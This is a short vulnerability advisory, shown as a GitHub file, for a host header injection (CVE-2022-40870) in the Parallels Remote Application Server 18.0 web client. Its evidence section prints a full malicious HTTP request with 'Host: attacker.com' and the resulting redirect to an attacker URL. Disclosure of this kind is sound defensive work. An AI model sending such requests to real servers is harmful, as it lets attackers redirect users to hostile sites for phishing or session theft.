IthacaLabs Rename HHI.txt to HHI_CVE-2022-40870.txt History

1 contributor

42 lines (29 sloc) | 1.61 KB

```
1
2   Host Header Injection Attack - CVE-2022-40870
3   ---------------------------------------------
4
5   Type: Unauthenticated Remote Attack
6
7   Software Version: Parallels Remote Application Server 18.0
8
9
10  Description
11  -----------
12
13  We have identified that the  Web Client of Parallels Remote Application Server 18.0 is affected by
14
15  An attacker would be able to tamper the Host Header value during HTTP request interception (MiTM a
16
17
18  Evidence
19  ---------
20
21  Malicious Request:
22  POST / HTTP/1.1
23  Host: attacker.com
24  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; X64; rv: 104.0) Gecko/20100101 Firefox/104.0
25  Accept: */*
26  Accept-Language: en-Us, en;q=0.5
27  Accept-Encoding: gzip,deflate
28  Referer: https://target-IP
29  DNT: 1
```

```
Connection: close
Cookie: config=something; ASP.NET_SessionId=something; PAXLocale=en US; naiosockid=something
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin



Response:
HTTP/1.1 303 See Other
Location: https://attacker.com/userportal
Strict-Transport-Security: max-age=0
Content-Length: 0
```